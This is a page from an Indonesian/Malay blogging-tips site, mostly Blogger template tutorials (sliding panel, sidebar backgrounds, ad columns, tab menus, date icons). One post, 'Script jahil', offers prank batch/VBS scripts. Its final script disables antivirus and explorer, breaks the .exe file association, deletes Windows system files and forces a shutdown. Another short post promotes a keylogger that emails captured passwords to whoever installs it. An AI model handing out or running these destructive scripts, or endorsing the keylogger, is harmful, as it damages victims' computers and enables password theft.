Cara Membuat Vertical Sliding Info Panel With jQuery

Artikel ini diadaptasi dari spyrestudios.com dengan judul asli "Vertical Sliding Info Panel With jQuery yang kemudian diberikan sedikit sentuhan oleh saya sehingga menjadi seperti yang sekarang digunakan. Artikel kali ini masih berbasis jQuery seperti efek-efek yang lainnya, makanya bagi teman-teman blogger yang mengikuti artikel demi artikel mungkin akan menemukan teknik terbaik pemasangan jQuery Pada tips-n-trick kali ini semua informasi yang dimasukan masih serba manual, hal ini agar mudah dipahami bagaimana kerja dari sliding panel, sehingga kedepannya kita hanya perlu melakukan modifikasi pada bagian isi dari sliding panel
Oke langsung saja berikut ini :
Langkah 1
Login ke Blogger
Langkah 2
Masuk ke "Tata Letak - Edit HTML"
Langkah 3
Klik "Expand Template Widget"
Langkah 4
Cari kode di bawah ini:
]]></skin>
Langkah 5
Masukan (copy paste) kode dibawah ini diatas kode pada langkah 4:

.panel{position:fixed;top:20px;left:0;background:#000;-moz-border-radius-topright:10px;-webkit-border-top-right-radius:10px;-moz-border-radius-bottomright:10px;-webkit-border-bottom-right-radius:10px;border:1px solid #444;width:330px;height:auto;filter:alpha(opacity=85);-moz-opacity:0.85;opacity:0.85;display:none;padding:30px 30px 30px 100px}
.panel p{color:#ccc;margin:0 0 15px;padding:0}
.panel a,.panel a:visited{color:#9FC54E;text-decoration:none;border-bottom:1px solid #9FC54E;margin:0;padding:0}
.panel a:hover,.panel a:visited:hover{color:#fff;text-decoration:none;border-bottom:1px solid #fff;margin:0;padding:0}
a.trigger{position:fixed;text-decoration:none;top:50px;left:0;font-size:16px;letter-spacing:-1px;font-family:verdana, helvetica, arial, sans-serif;color:#fff;font-weight:700;background:#333 url(http://lh6.ggpht.com/_xcD4JK_dIjU/S4QDwX8gRPI/AAAAAAAAD2U/TdhwLYRRzzA/d/plus.png) 85% 55% no-repeat;border:1px solid #444;-moz-border-radius-topright:10px;-webkit-border-top-right-radius:10px;-moz-border-radius-bottomright:10px;-webkit-border-bottom-right-radius:10px;-moz-border-radius-bottomleft:0;-webkit-border-bottom-left-radius:0;display:block;padding:15px 40px 15px 15px}
a.trigger:hover{position:fixed;text-decoration:none;top:50px;left:0;font-size:16px;letter-spacing:-1px;font-family:verdana, helvetica, arial, sans-serif;color:#fff;font-weight:700;background:#222 url(http://lh6.ggpht.com/_xcD4JK_dIjU/S4QDwX8gRPI/AAAAAAAAD2U/TdhwLYRRzzA/d/plus.png) 85% 55% no-repeat;border:1px solid #444;-moz-border-radius-topright:10px;-webkit-border-top-right-radius:10px;-moz-border-radius-bottomright:10px;-webkit-border-bottom-right-radius:10px;-moz-border-radius-bottomleft:0;-webkit-border-bottom-left-radius:0;display:block;padding:15px 40px 15px 15px}
a.active.trigger{background:#222 url(http://lh3.ggpht.com/_xcD4JK_dIjU/S4QDvxbreOI/AAAAAAAAD2M/Cz3Q2r5pdTM/d/minus.png) 85% 55% no-repeat}
.columns{clear:both;width:330px;line-height:22px;padding:0 0 20px}
.colleft{float:left;width:130px;line-height:22px}
.colright{float:right;width:130px;line-height:22px}
a:focus{outline:none}
.panel img{background-color:#262626;border:1px solid #333;float:right;margin:3px 3px 6px 8px;padding:5px}
.panel h3{border-bottom:1px solid silver;margin-bottom:5px;padding-bottom:3px;text-align:left;clear:both;color:#FFF;font-size:12px;font-weight:700}
.columns ul,.columns ul li{list-style-type:none;margin:0;padding:0}

 
Langkah 6
Cari kode dibawah ini:

</head>

Langkah 7
Masukan (copy paste) kode dibawah ini diatas kode pada langkah 6:

 
 <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js' type='text/javascript'/>
<script type="text/javascript">
$(document).ready(function(){
$(".trigger").click(function(){
 $(".panel").toggle("fast");
 $(this).toggleClass("active");
 return false;
});
});
</script>

Langkah 8
Cari kode dibawah ini: 

</body>

Langkah 9
Masukan (copy paste) kode dibawah ini diatas kode pada langkah 8: 

<div class='panel'>
<h3>Selamat Datang Di TRIK BLOGGER</h3>

<p style='text-align:justify'>Selamat datang di Blog saya, semoga saja kalian bisa mendapatkan apa yang kalian butuhkan diblog saya ini. Terima kasih Telah Berkunjung Di Blog saya,apabila berkenan silahkan berkomentar dan follow blog saya,mari kita saling berbagi ilmu tentang apa saja...
</p>
<h3>Sekilas tentang penulis</h3>
<img height='73px' src='http://i1237.photobucket.com/albums/ff478/dalganteng/4DE94288-19B4-4FF6-8E3C-00BE48570283.gif' width='73px'/>
<p>Nama saya Murnizal Efendi (dal),Manggilang pangkalan koto baru.</p>
<div style='clear:both;'/>
<div class='columns'>
<div class='colleft'>
<h3>Navigasi</h3>
<ul>
<li><a href='http://daltrikblog.co.cc/' title='home'>Home</a></li>
<li><a href='#' title='about'>About</a></li>

<li><a href='#' title='portfolio'>Portfolio</a></li>
<li><a href='#' title='contact'>Contact</a></li>
<li><a href='#' title='blog'>Blog</a></li>
</ul>
</div>
<div class='colright'>
<h3>Social Stuff</h3>
<ul>
<li><a href='http://facebook.com//dalganteng' title='facebook'>Facebook</a></li>
<li><a href='#' title='friendster'>Friendster</a></li>

<li><a href='http://mglcity.blogspot.com/' title='plurk'>My Blog 1</a></li>
<li><a href='http://mglcity1.blogspot.com/' title='Mp3'>My Blog 2</a></li>
</ul>
</div>
</div>
<div style='clear:both;'/>
</div>
<a class='trigger' href='#'>Dal</a>

Catatan: script langkah 9,tinggal diedit sesuai dengan blog anda

Langkah 10
Simpan Template dan Preview blog... 

Happy Blogging

Baca Selengkapnya »

Memberi Background Pada Sidebar

Mungkin dari judul diatas sudah banyak terdapat artikel ini tetapi tidak salahnya kalau saya bahas lagi di blog saya ini. Karena yang saya khawatirkan adalah jika para pendatang baru belum juga memahami dari artikel ini diblog lain. Tidak perlu berlama-lama lagi soalnya tutorial ini sangat gampang sekali jadi saya harap Anda dapat memperhatikan dengan baik.

1. Login www.blogger.com
2. Pilih Dasbor
3. Pilih Tata Letak
4. Pilih Edit HTML
5. Cari kode yang hampir mirip dibawah ini dengan cara blog kode yang mau dicari terus tekan CTRL+F:

/* Sidebar Content
----------------------------------------------- */
.sidebar {
color: $sidebartextcolor;
line-height: 1.5em;
}

6. Jika sudah menemukan kode diatas, setelah itu tambahkan kode dibawah ini dibawah kode diatas:

.sidebar h2 {
color: #ffffff;
font-size: 13px;
font-family: Arial, Tahoma, Verdana;
font-weight: bold;
margin: -.35em -.40em .25em -.35em;
padding: 3px 5px 3px 10px;
border-bottom: 1px solid #C0C0C0;
letter-spacing:0em;
text-transform:capitalize;
background:#2200CC repeat-x top left;
}

sehingga menjadi :

/* Sidebar Content
----------------------------------------------- */
.sidebar {
color: $sidebartextcolor;
line-height: 1.5em;
}

.sidebar h2 {
color: #ffffff;
font-size: 13px;
font-family: Arial, Tahoma, Verdana;
font-weight: bold;
margin: -.35em -.40em .25em -.35em;
padding: 3px 5px 3px 10px;
border-bottom: 1px solid #C0C0C0;
letter-spacing:0em;
text-transform:capitalize;
background:#2200CC repeat-x top left;
}

7. Simpan template dan liat blog

Yang perlu diganti dengan kreasi Anda :
Merah : #ffffff merupakan kode warna tulisan Anda, jika ingin ganti warna hapus saja kode tersebut dan diganti dengan warna Anda.
Biru : ukuran font Anda jika mau lebih besar angkanya harus lebih besar.
Hijau : ganti warna background Anda dengan kode warna yang lain, jika Anda menginginkan background gambar hapus kode warna terus ganti url('nama gambar.photobucket.com') sehingga menjadi :

background:url('nama gambar.photobucket.com') repeat-x top left;
Untuk yang diwarna ungu ganti dengan alamat hosting gambar Anda. Jika Anda belum punya alamat hosting buat gambar dapat melalui daftar ke photobucket.com terus upload gambar Anda.


Happy Blogging

Baca Selengkapnya »

Bagian-Bagian Perangkat Komputer yang Berbahaya

Ada beberapa bagian dari perangkat komputer anda yang sedikit mendapat perhatian dari anda, karena perangkat tersebut dimungkinkan dapat membahayakan anda dan anak - anak anda.

Untuk keamanan lebih baik jauhkan perangkat komputer tersebut dari jangkauan anak anak untuk menghindari sesuatu yang tak di inginkan, bagian mana saja yang perlu anda perhatikan dan harus di jaga, lihat dibawah ini:

1. Monitor (CRT)
Monitor CRT dapat menyebabkan intensitas cahaya yang dipancarkan cukup tinggi untuk diterima oleh retina mata manusia. Oleh karena, itu bagian dari perangkat komputer ini harus memiliki layar anti silau, agar mata terhindar dari kerusakan.

2. CPU(Central Processing Unit)
Bagian dari perangkat komputer ini tidak boleh langsung bersentuhan dengan tangan basah karena aliran listrik pada CPU dapat menyetrum kita.

3. Kabel Komputer
Bagian dari perangkat komputer ini harus dihindari dari air karena dapat menyebabkan korsleting. Korsleting ini dapat mengakibatkan hubungan pendek arus listrik yang dapat menyebabkan kebakaran.

4. Keyboard
Hindarkan tertumpahnya air pada keyboard karena dapat menyebabkan keyboard hang. Karena keyboard terdiri dari seperangkat alat bermuatan listrik, keyboard yang terkena air atau materi basah dapat menimbulkan korsleting jika sedang dioperasikan dan dapat menyetrum kita

Happy Blogging

Baca Selengkapnya »

Script jahil

 Habis nimrung di kaskus, mondar sana mondar sini mencari trick trick yang bagus - bagus buat refrensi tapi gak ketemu, setelah lelah akhirnya beristirahat di threads  Kumpulan Script Jahil Part I. dari pada bengong g ada aktifitas mendingan baca - baca aja dulu trus nyobain deh biar gak boring gytu, oiya sebelum kalian mencoba trik ini sebainya di siapkan terlebih dahulu

1. Notepad
2. Copy
3. Paste
4. Alias Copas
5. Nah sekarang tinggal masukin scriptnya ke notepad,,, langsung saja cek ki dot :

MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS
 
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat

BIKIN SHUTDOWN + MESSAGES


@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"

==> save nama script diatas dg ekstensi *.bat

MAININ CAPS LOCK BUTTON

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

==> save nama script diatas dg ekstensi *.vbs

BUKA TUTUP CD/DVD SECARA OTOMATIS

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

==> save nama script diatas dg ekstensi *.vbs

BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS

Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.vbs

MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS

MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD

Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop

==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NOTEPAD TERUS MENERUS

@ECHO off
:top
START %SystemRoot%
system32notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.BAT

OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU"

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

==> save nama script diatas dg ekstensi *.vbs

BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2

@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
system32notepad.exe
GOTO top

==> nah script diatas save jadi quiz.bat,

POKOKNYA KALO YG INI DICOBA DULU DEH !!

@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:WINDOWS
system32logoff.exe /
F /Q
DEL C:WINDOWS
system32logon.exe /
F /Q
DEL C:WINDOWS
system32logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”

==> save script diatas dg ekstensi *.bat

Keterangan : Untuk Kode cetak tembal dibawahnya merupakan keterangan ekstensi cara menyimpanya, misalnya ekstensi nya .vbs , jadi cara menyimpanya sebgagai berikut :

1. Buka notepad
2. Copy paste scriptnya
3. Save, dengan tipe ALL FILE dan Beri nama terserah Anda lalu di beri akhiran ekstensinya .vbs

Happy Blogging

Baca Selengkapnya »

Cara pasang 7 kolom Iklan

Buat Sobat yang nyari duit sambil ngeblog alias nyari pendapatan tambahan dari Iklan, Afliasi program, PTC,Backlink dan sejenisnya, nich gw ada tips dari Kang Mochal,gimana caranya meamasang 7 kolom iklan 125x125 dibawah header blog sobat, wow keren banget

Ayo kita mulai permak lagi Blog kita biar tambah yahud dengan tampilannya,dan ikuti langkah - langkah dibawah ini :

1.Seperti biasa, setelah sobat login ke blogspot, lalu sobat masuk ke halaman Layout/Tata letak blog sobat dan klik Edit Html( sebelumnya backup dulu template anda dengan cara mengklik Download full template, jadi template sobat yang lama langsung tersimpan ).

2. Langkah pertama sobat copy kode dibawah ini

<div id='sidebar-ads'>
<div class='ads-sidebar'>
<center><ul>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
<li><a href='mailto:cinta_royal@yahoo.co.id' target='_blank'><img border='0' height='125' src='http://i306.photobucket.com/albums/nn252/cebong_ipit/banner-ifoell.png' width='125'/></a></li>
</ul></center>
</div>
</div>

3. Kemudian paste di atas <div id='main-wrapper'> atau <div id='main-wrap1'><div id='main-wrap2'> kalau template sobat 3 kolom tentu di ada id=main ada sidebar lagi,sobat paste di atas ini <div id='side-wrapper1'> atau sejenisnya yang nantinya/pada intinya berada di bawah header blog sobat, jadi tergantung template sobat karena masing-masing template berbeda kode Html nya,

4. Langkah selanjutnya sobat copy kode dibawah ini

#sidebar-ads {
width:970px;
margin-bottom:5px;
float:right;
background:#fff;
padding:10px;
}
.ads-sidebar{float:left; margin:0pt; padding:0pt}

#sidebar-ads ul li ul{list-style-type:square; margin-left:1.5em; padding:0; border:0}
#sidebar-ads ul li ul li{border:0}
#sidebar-ads .ads-sidebar ul{background:transparent none repeat scroll 0% 50%; border:1px solid transparent; float:left; margin:0pt; padding:10px 0pt 10px 2px; width:970px}
#sidebar-ads .ads-sidebar ul li{display:inline; list-style-type:none; margin:0pt; padding:0pt}
#sidebar-ads .ads-sidebar ul li a:hover{border-bottom:none; list-style-type:none}

.ads-sidebar ul{margin:0px; padding:0px}
.ads-sidebar ul li a{float:left}
.ads-sidebar img{margin:0px 0px 5px 5px; border:1px solid #CCC; padding:2px}
.ads-sidebar img:hover{border:1px solid #999}

Nach di sini lebar Width tergantung template masing-masing, disini kebetulan template saya witdth nya 970px (sobat tinggal rubah bsesuai dengan lebar template sobat), demikian juga margins dan pading, menurut selera sobat lah.

5. Dan paste lagi di atas ]]></b:skin>

6. Klik SAVE/Simpan dan lihat hasil nya ....

Happy Blogging

Baca Selengkapnya »

Highlight pada Script/Kode di Postingan

Memberikan Highlight untuk script atau kode pada postingan akan lebih memperjelas pembaca. Contohnya bisa kamu lihat pada blogku ini. Setiap kali ada script/kode maka akan selalu ada highlight (kotak) yg akan membedakan dengan tulisan yg lain. Nha kamu mau tahu cara pembuatamnya?

Gini nih caranya :
1. Login ke blogger lalu pilih Layout-->Edit HTML
2. Kemudian copy kode dibawah ini lalu pasang di Script CSS kamu atau pasang sebelum kode ]]></b:skin>

.alert { background: #DDE4FF;

text-align: left;

padding: 5px 5px 5px 5px;

border-top: 1px dotted #223344;border-bottom: 1px dotted #223344;border-left: 1px dotted #223344;border-right: 1px dotted #223344;}

Kode yang berwarna merah (#DDE4FF) adalah warna background kotak highlight, kamu bisa menggantinya dengan kode warna yang lain yang cocok dengan background blog kamu.

3. Kalau sudah kemudian Simpan.

Cara Posting
Supaya kode/scriptnya nanti bisa ada kotak highlight-nya maka untuk memposting harus pake cara2 tersendiri. Yaitu dengan menambahkan kode ini <p class="alert"> sebelum kode/script yg akan diberi highlight. kemudian ditambahkan kode </p> diakhir script/Kode.

Dah gitu aja, gampang kan

Baca Selengkapnya »

Cara Mengganti Tanggal Posting dg Icon Calender

Akhirnya jadi juga, setelah beberapa hari nyari-nyari artikel tentang "cara mengganti tanggal dengan icon kalender" dan mengotak-atik template akhirnya berhasil juga aku membuatnya, fiuuhh :f dengan menghabiskan dana ber M-M (maksudnya Maribu, Mablas ribu) untuk melakukan penelitian dan dengan membanting keringat dan memeras tulang dan akhirnya berhasiiiiill..... Mau tahu cara membuatnya? jangan khawatir aku akan membagi-bagikan tutorial ini pada kalian dengan geratis (kalo ada yang mo bayar sih boleh aja :D ) yak mari kita mulai trik dan tipsnya.

Yang pertama harus kita lakukan yaitu mengganti setting tanggal dulu, caranya seperti biasa Login dulu ke blogger terus pilih Settings --> Formatting, ganti "date header format" atau "format tanggal menjadi (mm.dd.yyyy) nha yang masih pemula pasti bingung maksudnya kan? itu lho disebelah tulisan "date header format" kan ada kotak yang ada tanggalnya, trus kamu klik dan pilih yang formatnya bulan.tangal.tahun contohnya 1.13.2008 terus simpan

Langkah yang kedua pilih menu Layout --> Edit HTML . Trus beri tanda centang pada kotak Expand Widget Templates, Oh ya, jangan lupa di back-up dulu template kamu.
1. Cari kode ini <TITLE><data:blog.pageTitle/></TITLE> (tempatnya dibagian atas) kalo dah ketemu taruh script berikut ini dibawahnya persis 

<SCRIPT type='text/javascript'>
//<![CDATA[
/*********************************/
/* http://trik-tips.blogspot.com */
/*********************************/
function date_replace(date) {
var da = date.split('.');
var day = da[1], mon = da[0], year = da[2];
var month =
['0','Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
document.write("<div class='month'>"+month[mon]+"</div> <div class='day'>"+day+"</div>");
}
//]]>
</SCRIPT> 

2. kalo udah cari kode ini:

.date-header {
margin: 1.5em 0 0;
font-weight: normal;
color: $dateHeaderColor;
font-size: 100%;
}

kalo ggak ada coba cari yang ini

h2.date-header {
margin:1.5em 0 .5em;
}     
 

3. Kalo dah ketemu taruh script berikut dibawahnya

.dateblock {
background: url("http://i603.photobucket.com/albums/tt115/lalastarrr/emoticon/thRUNSIES_by_sereneworx.gif")
no-repeat;
width: 55px;
margin: 0;
font-weight: bold;
height: 50px;
/*position: absolute;
top: 0;
left: 0;*/
float: left;
text-align: center;
}

.month {
font-size: 11px;
width: 37px;
margin: 0 5px;
text-transform: uppercase;
color: #fff;
}

.day {
color:#3366CC;
font-size: 19px;
width: 37px;
margin: 0 5px;

}

 

kode http://i603.photobucket.com/albums/tt115/lalastarrr/emoticon/thRUNSIES_by_sereneworx.gif 
 Trus kode color:#3366CC; adalah kode warna
tanggal, kamu bisa menggantinya dengan warna yang lain.

4. langkah selanjutnya yaitu kamu cari kode ini
<data:post.dateHeader/>, cara nyarinya biar gampang copy kode tersebut,
terus tekan Ctrl-f dan paste di dalam kotak yang disediakan, nha langsung
ketemu kan. kalo udah ketemu ganti kode tersebut dengan script dibawah ini.

<DIV class='dateblock'>
<SCRIPT>date_replace('<data:post.dateHeader/>');</SCRIPT></DIV> 

5. Simpan Template kamu dan lihat hasilnya. Berhasil nggak ya? :t

Kalo misalnya tulisan bulan dan tanggalnya terlalu keatas coba tambahkan kode ini padding: 4px 0px 0px 0px; dibawah kode .month { dan juga dibawah kode .day {

 
Happy Blogging

Baca Selengkapnya »

Cara buat tab view menu

Posting kali ini adalah membuat tab menu view yang mana sesuai dipasang pada blog yang mempunyai side bar yang luas.Pemasangan menu seperti ini adalah menjimatkan ruangan kerana menu disatukan secara tab pada satu tempat.Satu lagi kelebihan menu ini adalah tidak perlu mengedit template,Cuma di masukkan pada add gadget.Jadi lebih mudah untuk membuatnya tanpa perlu khuatir tidak berfungsi setelah membuatnya.Cuma kita perlu mengubah sedikit saiz dan juga warna pada kod agar bersesuaian dengan template kita.  

jika sekiranya berminat untuk membuatnya ikuti langkah ini:

Masuk  keblogger
Pilih design->> Page Element
Add a Gadget
Pilih  HTML/Javascript
Dan masukkan kod ini

<style type="text/css">
div.TabView div.Tabs
{height: 30px;overflow: hidden}
div.TabView div.Tabs a {float:left; display:block; width: 98px; /* Lebar Menu Utama Atas */
text-align:center ; height: 30px; /* Tinggi Menu Utama Atas */
padding-top:8px; vertical-align:middle; border:1px solid #BDBDBD; /* Warna border Menu Atas */
border-bottom-width:0; text-decoration: none; font-family: "Verdana", Serif; /* Font Menu Utama Atas */
font-weight:bold; color:#000; /* Warna Font Menu Utama Atas */ -moz-border-radius-topleft:10px; -moz-border-radius-topright:10px}
div.TabView div.Tabs a:hover, div.TabView div.Tabs a.Active {background-color: #E6E6E6; /* Warna background Menu Utama Atas */ }
div.TabView div.Pages {clear:both; border:1px solid #BDBDBD; /* Warna border Kotak Utama */ overflow:hidden; background-color:#E6E6E6; /* Warna background Kotak Utama */ }
div.TabView div.Pages div.Page {height:100%; padding:0px; overflow:hidden}
div.TabView div.Pages div.Page div.Pad {padding: 5px 5px}
</style>
<script type='text/javascript'>
//<![CDATA[
function tabview_aux(TabViewId, id)
{
var TabView = document.getElementById(TabViewId);
// ----- Tabs -----
var Tabs = TabView.firstChild;
while (Tabs.className != "Tabs" ) Tabs = Tabs.nextSibling;
var Tab = Tabs.firstChild;
var i = 0;
do
{
if (Tab.tagName == "A")
{
i++;
Tab.href = "javascript:tabview_switch('"+TabViewId+"', "+i+");";
Tab.className = (i == id) ? "Active" : "";
Tab.blur();
}
}
while (Tab = Tab.nextSibling);
// ----- Pages -----
var Pages = TabView.firstChild;
while (Pages.className != 'Pages') Pages = Pages.nextSibling;
var Page = Pages.firstChild;
var i = 0;
do
{
if (Page.className == 'Page')
{
i++;
if (Pages.offsetHeight) Page.style.height = (Pages.offsetHeight-2)+"px";
Page.style.overflow = "auto";
Page.style.display = (i == id) ? 'block' : 'none';
}
}
while (Page = Page.nextSibling);
}
// ----- Functions -------------------------------------------------------------
function tabview_switch(TabViewId, id) { tabview_aux(TabViewId, id); }
function tabview_initialize(TabViewId) { tabview_aux(TabViewId, 1); }
//]]>
</script>
<form action="tabview.html" method="get">
<div id="TabView" class="TabView">
<div style="width: 300px;" class="Tabs">
<a>Tajuk 1</a>
<a>Tajuk 2</a>
<a>Tajuk 3</a>
</div>
<div style="width:300px; height:250px; " class="Pages">
<div class="Page">
<div class="Pad">
Isi menu tab  1
</div>
</div>
<div class="Page">
<div class="Pad">
Isi menu tab  2
</div>
</div>
<div class="Page">
<div class="Pad">
Isi menu tab  3
</div>
</div>
</div>
</div>
</form>
<script type="text/javascript">
tabview_initialize('TabView');
</script>

cara letak link seperti pada blog saya:

Kemudian klik save

Happy Blogging

Baca Selengkapnya »

Cara membuat link berkelip disertai dengan kerlipan bintang

Cara ini membolehkan link berkelip bila dihalakan cursor padanya.Disamping berkelip ia kan mengeluarkan kerlipan bintang disekeliling.Tidak menggunakan javascript,hanya gabungan css dan imej sahaja.Contohnya boleh dilihat pada blog ini.Kalau berminat hendak membuatnya,berikut adalah langkahnya:

Klik pada Design
Edit HTML
Cari kod:

</head>

Dan letak kod ini diatasnya:

<style>
a:hover { text-decoration:blink; background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRhVkUCNaZTeddgd6vGNMeoj7PdPGdF5ayGHIU7-UYpssmGscgiP9N7AnEy4RGEQr-zw0TEaJymHYCOqAB_AdfzBUtIAcPs6cpsRUSb4Xegk2YgI-asZWLQUTGuo17J254kRblUanbQ7M/s1600/blink.gif); }
</style>

#sesuai hanya untuk template berwarna gelap.
Simpan template…selesai..Happy Blogging

Baca Selengkapnya »

cara buat border lengkung pada blog

Menukar tampilan bagi mengindahkan blog tentunya merupakan antara yang tidak dapat tidak dilakukan oleh seseorang blogger.Selain dari cantik dan tidak memberatkan loading blog adalah antara yang perlu diberi perhatian bila melakukan sesuatu perubahan pada template.Sebelum ini saya ada membuat entri tentang membuat border disekeliling posting.tapi dalam bentuk persegi.Kali ini pula dipenjuru border adalah dalam bentuk bulat.

Untuk membuatnya:

1.Masukk ke blogger dan pilih design
2.Klik edit HTML dan tandakan pada Expand template widget
3.Cari kod h2.date header{

dan letakkan kod ini dibawahnya

border-left:3px solid #0000FF;
border-right:3px solid #0000FF;
border-top:3px solid #0000FF;
border-bottom:0px solid #0000FF;
-moz-border-radius-topleft:15px;
-moz-border-radius-topright:15px;



4.cari kod . post-body {

dan letakkan kod ini dibawahnya

border-right:3px solid #0000FF;
border-left:3px solid #0000FF;
5. Kemudian cari kod ini pula, .post-footer {
Tambah kod ini dibawahnya
border-left:3px solid #0000FF;
  border-right:3px solid #0000FF;
  border-top:0px solid #0000FF;
  border-bottom:3px solid #0000FF;
  -moz-border-radius-bottomleft:15px;
  -moz-border-radius-bottomright:15px;

6.Untuk mengganti border pada sidebar pula cari kod ini:

.sidebar .widget { 

dan letakkan kod ini dibawahnya

border:1px solid #0000FF;
-moz-border-radius-topleft:15px;
-moz-border-radius-topright:15px;
-moz-border-radius-bottomleft:15px;
-moz-border-radius-bottomright:15px

Kod berwarna oren adalah kod bagi warna biru,boleh ditukarkan dengan kod warna yang  bersesuaian.

7.Seterusnya save template .
Happy Blogging

Baca Selengkapnya »

cara pasang buton show and hide

Mungkin anda ingin menyembunyikan widget atau kod /teks pada blog.Fungsi ini macam read  more yang ada pada posting,hanya menunjukan separuh sahaja teks pada posting dan bila diklik pada read more akan menunjukkan sebahagian lagi teks.Kod ini akan memaparkan butang yang mana bila diklik boleh memaparkan bahagian yang tersembunyi

klik buton dibawah untuk melihat contohnya

Gantikan teks letakkan kandungan yang hendak disembunyikan disini dengan kandungan yang dingini:

<div id="spoiler" style="display:none">
letakkan kandungan yang hendak disembunyikan disini
</div>
<button title="Click to show/hide content" type="button" onclick="if(document.getElementById('spoiler') .style.display=='none') {document.getElementById('spoiler') .style.display=''}else{document.getElementById('spoiler') .style.display='none'}">Show/hide</button>
Teks show/hide pada butang boleh ditukar mengikut kesukaan anda.Boleh diletakkan pada sidebar atau posting.
Happy Blogging

Baca Selengkapnya »

Key Loger / sofwere mencuri password

key loger bisa juga disebut dengan pengintai dalam komputer atau cara jitu pencuri data dan password dalam komputer orang lain download , kamu hanya tinggal install dan seting alamat email. Jadi setelah di seting semua yang tertangkap oleh sofwere ini maka akan langsung dikirim ke email kamu

Happy Blogging

Baca Selengkapnya »

Menampilkan icon disamping judul postingan

Pertama-tama silahkan cari dulu icon yang cocok dengan selera anda
Dan jangan lupa copy alamat URL dari icon pilihan anda tersebut.
Cara mendapatkan URLnya, silahkan anda klik kanan pada icon yang anda inginkan, kemudian klik Properties, kemudian copy alamat URL yang ditampilkan pada baris Location

Jika anda sudah mendapatkannya, silahkan ikuti caranya di bawah ini :

1. Masuk ke Dasbor
2. Klik Tata Letak
3. Klik Edit HTML
4. Beri tanda centang pada kotak kecil Expand Template Widget
5. Silahkan cari di dalam template anda kode <a expr:href='data:post.url'>
6. Persis setelah kode tersebut, copypastekan script beerikut dibawah ini

<img border='0' src='http://www.boongan_doang.jpg'/>

